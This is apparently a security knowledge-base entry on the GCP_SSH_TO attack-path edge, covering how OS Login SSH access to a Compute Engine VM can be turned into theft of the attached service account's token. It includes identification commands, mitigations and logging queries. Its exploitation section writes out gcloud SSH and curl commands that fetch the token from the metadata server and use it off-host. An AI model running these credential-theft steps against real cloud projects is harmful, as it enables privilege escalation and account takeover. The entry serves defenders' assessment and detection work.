Summary
| Forestall ACL Alias | GCP_SSH_TO |
| GCP Alias | Compute Execution & Pipeline Pivots |
| Affected Object Types | Virtual Machines |
| Exploitation Certainty | Likely |
| Granting Roles | roles/compute.osLogin, roles/compute.osAdminLogin |
Description
GCP_SSH_TO indicates that an identity holds OS Login permissions (roles/compute.osLogin or roles/compute.osAdminLogin) which allow logging into an existing GCE VM via OS Login. OS Login ties SSH access to IAM identity, replacing traditional metadata-based SSH key management.
The value of an SSH session is rarely the operating system — it is the metadata server. Any process on a GCE VM can request an OAuth access token for the attached service account from metadata.google.internal without a credential of its own. An attacker with shell access therefore inherits the full IAM privileges of the VM’s service account, which is very often broader than the privileges of the SSH grant itself.
A project-wide roles/compute.osLogin binding produces one GCP_SSH_TO edge per instance in scope, and each is assessed on its own merits.
roles/compute.osAdminLogin additionally grants sudo, allowing the attacker to read every user’s files, install persistence, and query the metadata server as any local user.
Relationship to GCP_INJECT_SSH_KEY: both edges end in a shell on a VM, but they are reached by different means. GCP_SSH_TO uses the sanctioned OS Login path with an IAM-bound identity and is fully audited. GCP_INJECT_SSH_KEY instead writes instance or project metadata to plant a key, and can disable OS Login outright by flipping enable-oslogin. Where GCP_SSH_TO requires OS Login to be on, GCP_INJECT_SSH_KEY works whether it is on or not.
Identification
gcloud CLI
PROJECT_ID="management-project-486413"# List VMs, their SA attachments, and their OS Login stategcloud compute instances list --project=$PROJECT_ID \ --format="table(name, zone, status, serviceAccounts[0].email, metadata.items[enable-oslogin])"
# Find who has OS Login permissionsgcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("compute.osLogin|compute.osAdminLogin")) | {role: .role, members: .members}'
# Check if OS Login is enabled at the project level (the inherited default)gcloud compute project-info describe --project=$PROJECT_ID \ --format="value(commonInstanceMetadata.items)" | grep enable-oslogin
# Check instance-level OS Login setting (overrides the project default)gcloud compute instances describe VM_NAME --zone=ZONE --project=$PROJECT_ID \ --format="value(metadata.items)"An OS Login binding is only meaningful where enable-oslogin resolves to TRUE for the instance. Check the instance metadata first and fall back to the project default when the instance does not set it.
GCP Console
- Open GCP Console → Compute Engine → VM Instances.
- Click on a VM → SSH button — if enabled, IAM principals with OS Login roles can access it.
- On the instance detail page, review Metadata section for
enable-oslogin, and Service accounts for the attached identity and its scopes. - IAM & Admin → IAM → Check for
Compute OS LoginorCompute OS Admin Loginroles.
Exploitation
# Identify VMs running high-privilege service accountsgcloud compute instances list --project=$PROJECT_ID \ --format="table(name, zone, status, serviceAccounts[0].email)"
# Confirm OS Login is enabled in project metadatagcloud compute project-info describe --project=$PROJECT_ID \ --format="value(commonInstanceMetadata.items)" | grep enable-oslogin
# Confirm OS Login is enabled in instance metadatagcloud compute instances describe INSTANCE_NAME \ --zone=ZONE \ --project=$PROJECT_ID \ --format="value(metadata.items.filter('key:enable-oslogin').extract('value'))"
# Check for OS Login roles in projectgcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("compute.osLogin|compute.osAdminLogin")) | {role: .role, members: .members}'
# SSH into the target VMgcloud compute ssh VM_NAME --zone=us-central1-a --project=$PROJECT_ID
# From inside the VM, query the metadata server for the attached SA's tokencurl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Confirm which identity the stolen token belongs tocurl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"The stolen token can be used directly against Google APIs from anywhere, for as long as it remains valid:
TOKEN="ya29...."curl -s -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.com/v1/projects" | jq '.projects[].projectId'Mitigation
- Scope OS Login roles narrowly — assign at specific VM resource level rather than project-wide where possible.
- Use
roles/compute.osLogin(non-sudo) instead ofroles/compute.osAdminLoginunless root access is genuinely needed. - Attach minimal-privilege SAs to VMs — VMs that do not need elevated GCP API access should use a dedicated low-privilege SA, never the default Compute Engine service account. This is the single most effective control, because it caps what a shell is worth.
- Block metadata server access from workloads that do not need it, using network controls or workload-level egress restrictions.
- Enforce OS Login organization-wide with the
compute.requireOsLoginconstraint, so access stays IAM-bound and auditable rather than reverting to metadata SSH keys. - Restrict
roles/iap.tunnelResourceAccessor, which removes network reachability as a barrier to this edge.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Data Access | compute.instances.get via OS Login |
SSH connection attempts |
| System Event | OS Login SSH auth | resource.type=gce_instance |
| Admin Activity | SetIamPolicy |
New compute.osLogin / compute.osAdminLogin bindings |
# Monitor OS Login authentication eventsgcloud logging read \ 'protoPayload.serviceName="oslogin.googleapis.com"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName)"
# Monitor for new OS Login role grantsgcloud logging read \ 'protoPayload.methodName="SetIamPolicy" AND protoPayload.serviceData.policyDelta.bindingDeltas.role=~"compute.osLogin|compute.osAdminLogin"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"Alert on:
- OS Login SSH connections to VMs running high-privilege SAs.
- SSH connections from unexpected geographic locations or IP ranges.
- Metadata server token requests shortly after an OS Login session begins.
- Service account tokens minted on a VM being used from an IP outside that VM’s egress range — a strong indicator the token was exfiltrated rather than used in place.
- New
compute.osAdminLogingrants, which carrysudoon every instance in scope.